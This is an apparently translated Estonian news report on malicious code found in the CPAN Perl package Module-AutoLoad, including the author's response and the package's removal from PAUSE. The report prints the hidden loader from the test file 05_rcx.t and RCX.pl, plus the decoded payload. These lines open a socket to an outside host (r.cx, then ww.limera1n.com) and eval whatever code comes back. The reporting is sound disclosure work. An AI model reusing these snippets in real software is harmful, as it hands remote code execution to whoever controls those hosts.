Perl-pakett Module-AutoLoad sisaldab pahavara koodi

CPAN Perl-paketi, mis levitatakse kaudu Module-AutoLoad, mis on mõeldud CPAN-moodulite automaatseks laadimiseks reaalajas, avastatud kahjulik kood. Kahjulik kood oli leitud testikoodist 05_rcx.t, mis on saadaval alates 2011. aastast.
Oluline on mainida, et küsimused kahtlase koodi laadimise kohta tekkisid Stackoverflowis juba 2016. aastal.

Kahjulik tegevus seisneb katses laadida ja käivitada koodi kolmandalt serverilt (http://r.cx:1/) testkomplekti käitamise ajal, mis toimub mooduli installimise käigus. Eeldatakse, et algselt kolmandalt serverilt laaditud kood ei olnud kahjulik, kuid nüüd suunatakse päringule domeenile ww.limera1n.com, misedastab oma koodi täitmiseks.

Laadimise korraldamiseks kasutatakse failis 05_rcx.t järgmist koodi:

my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

Antud kood käivitab skripti ../contrib/RCX.pl, mille sisu on järgmine:

use lib do{eval&&botstrap(«RCX»)if$b=new IO::Socket::INET 82.46.99.88.»:1″};

See skript laadib peidetud kasutades teenust perlobfuscator.com koodi välisest hostist r.cx (aadressid 82.46.99.88 vastavad tekstile «R.cX») ja täidab selle eval plokis.

$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.»:1″; print ;’
eval unpack u=>q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Pärast dekompressiooni täidetakse koodi:

print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;evalor return warn$@while$b;1

Praegu on probleemne paket eemaldatud hoidlalt PAUSE (Perl Authors Upload Server), ja mooduli autori konto on blokeeritud. Samas jääb moodul saadaval MetaCPAN arhiivi ja seda saab otse installida MetaCPANist kasutades mõningaid utiliite, nagu cpanminus. On märgitud, nii et pakett ei olnud laialdaselt levitatud.

Huvitav, et arutelu liitus ja mooduli autor, kes lükkas ümber väite, et kahjulik kood lisati pärast oma veebisaidi «r.cx» häkkimist, ning selgitas, et ta lihtsalt lõbutses ning perlobfuscator.com kasutas mitte peitmmiseks, vaid koodi suuruse vähendamiseks ja kopeerimise lihtsustamiseks lõikelauale. Funktsiooni «botstrap» valik on selgitatud, et see sõna „kõlab nagu bot ja on lühem kui bootstrap”. Mooduli autor kinnitas ka, et tuvastatud manipulatsioonid ei tee kahjulikke toiminguid, vaid demonstreerivad koodi laadimist ja käivitamist TCP üle.

Allikas: opennet.ru